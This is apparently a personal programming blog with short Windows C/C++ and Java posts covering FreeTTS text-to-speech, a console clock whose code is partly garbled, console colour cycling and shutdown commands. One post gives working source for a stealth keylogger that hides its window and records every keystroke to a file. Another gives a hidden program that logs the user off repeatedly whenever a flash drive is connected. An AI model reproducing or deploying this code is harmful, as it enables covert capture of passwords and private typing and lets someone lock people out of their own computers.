Saturday, 30 May 2015

How generate Text to speech in Java?

DownLoad Freetts1.2 java Api....here and execute the jspi.exe in lib folder of freetts api.

Then start cmd and type..
set classpath=.../freetts1.2/lib/freetts.jar;.

Compile the folling code and place your String in command line argument to speak..


       


import com.sun.speech.freetts.FreeTTS;
import com.sun.speech.freetts.Voice;
import com.sun.speech.freetts.VoiceManager;
import com.sun.speech.freetts.audio.SingleFileAudioPlayer;
import java.io.FileInputStream;
import com.sun.speech.freetts.*;


public class MainSpeak {


public static void   speaking(String str){
 Voice voice;
 FreeTTS freetts;

 voice=VoiceManager.getInstance().getVoice("kevin16");
 if(voice!=null)
 {
 voice.allocate();
 }
 freetts=new FreeTTS(voice);
 voice.speak(str);
 
 
 }
public static void main(String[] args)throws Exception {

 MainSpeak m1=new MainSpeak();
 
 m1.speaking(args[0]);
 
}

}

 

Friday, 22 May 2015

Clock application in c/c++ which doesnot use System time?

       
#include iostream >
#include conio.h >
#include stdio.h >
#include stdlib.h >
#include windows.h >
using namespace std;
void clocks();
void reset();
void alrm();
void slp();
void welcome();
int main()
{int t;
    system("pause");
    system("cls");
   welcome();  
   system("cls");
   
    clocks();
  
    return 0;
}
void clocks()
{
    int i,j=0,k=0,x,y,z,l,m,n;
    cout<<"do you want to set the clock";
    cout<<"\n\n1. for set__\n2.for exit from application___\n3.hibernating clock __\n\n\t\tENTER THE CHOICE____: ";
    cin>>x;
    switch(x)
    {
             case 1:
                  
     {
       cout<<"Enter your alrm :) ";
      ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\sexiest_romantic_mp3.mp3",NULL,NULL,SW_SHOW);    
          
      cout<<"\nHour:)";
      cin>>x;
          cout<<"\a";
      if(x>24)
      {
             reset();
                 cout<<"\a       \t";
             }
       cout<<"\nMinue:)";
       cin>>y;
           cout<<"\a";
       if(y>59)
       {
               reset();
                   cout<<"\a       \t";
               }
         cout<<"\nSec:)";
         cin>>z;
             cout<<"\a";
         if(z>59)
         {
                 reset();
                     cout<<"\a       \t";
                 }
        
     
                  cout<<"hh \t";
                      cout<<"\a";
                   cout<<"mm \t";
                    cout<<"\a";   
                      cout<<"s\n ";
                      cout<<"0\t0\t0\n\n\n";
                  
            cout<<"hour\t=";
                    cout<<"\a";
            cin>>k;
            if(k>25)
            {
                    cout<<"hmm";
                    reset();
                    }
            cout<<"minute\t=";
                cout<<"\a";
            cin>>j;
            if(j>59)
            {
                    reset();
                    }
            cout<<"sec\t=";
                cout<<"\a";
            cin>>i;
            system("cls");
     cout << " sucses  mr. sky\n";
    cout<<"\a\a";
    for(;i<61;i++)
    {
 Sleep(1000);

 //cout << " \a";

system("cls");
cout<<"\n\n\n\n\n\n\n\n\n";
cout<<"  \t|**-----------------------------------**|\n";
cout<<"\t|   hh\t";
cout<<"  \tmm\t";
cout<<"\ts       |\n";

cout<<"\t|   ";
cout<=59)
{
           j++;
         // cout<=60)
           {
               k++;
               j=0;
              // cout<=25)
{
         k=1;
         l++;
         }
      
   
    
                     
               if(j==y&&k==x&&i==z)
    {
                    Sleep(300); 
                     cout<<" \n\n\n\nalrm.......\a";
                     alrm();
}       
}
case 2:
     system("cls");
     cout<<"\n\n\n\n\n\n\t\t\t\t EXIT";
     ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\Krissh_Rythem.mp3",NULL,NULL,SW_SHOW);
     Sleep(4000);
     exit(0);
     }
     case 3:
        
            slp();  
          
     
     
defult :
       {
      system("cls");
       
       cout<< "\n\n\n\n\a \n\n\n\t\t\t\tENTER VALID";
        ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\text_alert.mp3",NULL,NULL,SW_SHOW);
        Sleep(3000);
          
         system("cls");
          cout<<"LORDING.\a...";
          Sleep(1000);
           system("cls");
        clocks();
       
       
    getch(); 
    //return 0;
}   
}
}



void reset()
{
     system("cls");
       
       cout<< "\n\n\n\n\a \n\n\n\t\t\t\tENTER VALID";
        Sleep(3000);
        ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\aaa.mp3",NULL,NULL,SW_SHOW); 
         ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\aaa.mp3",NULL,NULL,SW_SHOW);
         system("cls");
          cout<<"LORDING.\a...";
          Sleep(1000);
           system("cls");
        clocks();
        }
      
void alrm()
{int s;
     for(s=0;s<1;s++)
     {
                       if(s%2==0)
                       {
                   
                       //cout<<"\a\a\a";
                    // ShellExecute(NULL,NULL,"D:\\mr.sky\\alm tone\\Koyi  milga.amr",NULL,NULL,SW_SHOW); 
                     ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\(R)Kash Ek Din Aisa Bhi.mp3",NULL,NULL,SW_SHOW);
                         Sleep(3000);
                         //system("pause");
                       }
                       }
                       }
void welcome()
{   int t;
      cout<<" \n\n\n\n\n\n\n\t\t\t\tWELCOME";
       Sleep(2000);
      
       
       
     ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\welcome.mp3",NULL,NULL,SW_SHOW);

   
            
     }
 void slp()
 {
      system("cls");
       int i,j=0,k=0,x,y,z,l,m,n;
    cout<<"please set time--";
    cout<<"\n\n1. for set__sleeping tiMe:)\n\n\n\n\t\tENTER THE CHOICE__: ";
    cin>>x;
    switch(x)
    {
             case 1:
                  
     {
       cout<<"Enter your switch off time'..'";
      ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\sexiest_romantic_mp3.mp3",NULL,NULL,SW_SHOW);    
          
      cout<<"\nHour:)";
      cin>>x;
          cout<<"\a";
      if(x>24)
      {
             reset();
                 cout<<"\a       \t";
             }
       cout<<"\nMinue:)";
       cin>>y;
           cout<<"\a";
       if(y>59)
       {
               reset();
                   cout<<"\a       \t";
               }
         cout<<"\nSec:)";
         cin>>z;
             cout<<"\a";
         if(z>59)
         {
                 reset();
                     cout<<"\a       \t";
                 }
        
     
                  cout<<"hh \t";
                      cout<<"\a";
                   cout<<"mm \t";
                    cout<<"\a";   
                      cout<<"s\n ";
                      cout<<"0\t0\t0\n\n\n";
                  
            cout<<"hour\t=";
                    cout<<"\a";
            cin>>k;
            if(k>25)
            {
                    cout<<"hmm";
                    reset();
                    }
            cout<<"minute\t=";
                cout<<"\a";
            cin>>j;
            if(j>59)
            {
                    reset();
                    }
            cout<<"sec\t=";
                cout<<"\a";
            cin>>i;
            system("cls");
     cout << " sucses  mr. sky\n";
    cout<<"\a\a";
    for(;i<61;i++)
    {
 Sleep(1000);

 //cout << " \a";

system("cls");
cout<<"\n\n\n\n\n\n\n\n\n";
cout<<"  \t|**-----------------------------------**|\n";
cout<<"\t|   hh\t";
cout<<"  \tmm\t";
cout<<"\ts       |\n";

cout<<"\t|   ";
cout<=59)
{
           j++;
         // cout<=60)
           {
               k++;
               j=0;
              // cout<=25)
{
         k=1;
         l++;
         }
      
   
    
                     
               if(j==y&&k==x&&i==z)
    {
                    Sleep(300); 
                     cout<<" \n\n\n\nalrm.......\a";
                     ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\text_alert.mp3",NULL,NULL,SW_SHOW);
                     ShellExecute(NULL,NULL,"C:\\MR.SKY_2.0\\DEFULT SOFT\\SYSTEM V.exe",NULL,NULL,SW_SHOW);
                     exit(0);
}       
}
  }     
}
}

/*best use in dev c++. In windows only*/
 

How to make KeyLogger in C/C++ ?

it works on windows only.
After running this it store key value in keystrokes.txt file (current dir).
It view in process in taskmgr.

       
#include iostream>
using namespace std;
#include windows.h>
#include winuser.h>
int Save (int key_stroke, char *file);
//void Stealth();


int main()
{
    // cocde for hideing the consol_window

    HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);
 // cocde for hideing the consol_window
      

char i;

while (1)
{
for(int i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"keystrokes.txt");
}
}
system ("PAUSE");
return 0;
}


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/*best use in dev c++. In windows only*/
 

Thursday, 21 May 2015

How to block or hang a Computer When a Flash drive is Connected ..?

#include<iostream>
#include <windows.h>
using namespace std;
void Runn(int i)
{
     if(i==0)
     {for(int i=0;i<10;i++)
     {
              system("shutdown /l");
             
              }
             }
             else
             {
                  cout<<"IN processing.....\a";
                  }
   
     }


main()
{//pasted cocde
    HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
 ////pasted cocde.............................................................    
     
     
     
      while(1)
{
    if(  system("G:")==0 )//write all g:, h: ,i: etc..
    {  Runn(0);
   
     
         }
         else
         {
             Runn(1);
             }
      }
}


Saturday, 9 May 2015

How to Generate Multiple color in Console in C/C++?

       

           //in gcc devc ide
  #include //iostream,conio,windows header file..

  #include
  #include

  int main()
  {  
          int i;
  for(i=0;;i++)

  {
          if(i%2==0)
  {  
      system("color 10");
       Sleep(100);
         system("color 20");
          Sleep(100);
         system("color 30");                     
            Sleep(100);
         system("color 40");
            Sleep(100);
         system("color 50");
            Sleep(100);
         system("color 60");
          Sleep(100);
         system("color 70");
            Sleep(100);
         system("color 80");
            Sleep(100);
         system("color 90");
     }   
     else if(i%6==0)

     {       
                                                   system("color 10");
                                             Sleep(300);
                                             system("color 20");
                                              Sleep(300);
                      system("color 30");
                           Sleep(300);
                                          system("color 40");
                                             Sleep(300);
                                           system("color 50");
                                             Sleep(300);
                                           system("color 60");
                                             Sleep(300);
                                           system("color 70");
                                             Sleep(300);
                                           system("color 80");
                                             Sleep(300);
                                           system("color 90");

       }  
       else
       {   
       system("color 10");
             Sleep(400);
          system("color 20");
          Sleep(400);           
                                                              

                system("color 30");
                           Sleep(400);
                system("color 40");
                           Sleep(400);
                system("color 50");
                     Sleep(400);
                system("color 60");
                      Sleep(400);
                system("color 70");
                     Sleep(400);
                system("color 80");
                           Sleep(400);
                system("color 90");
                         }


     } 


     return 0;


     }


       
 

Friday, 8 May 2015

How to Shutdown Computer By C program?

#include<stdio.h>
main()
{
system("shutdown /p");//for shutdown
system("shutdown /h");  //for hibernate
system("shutdown /l");//for log out

// this can aslo use to run any system process
}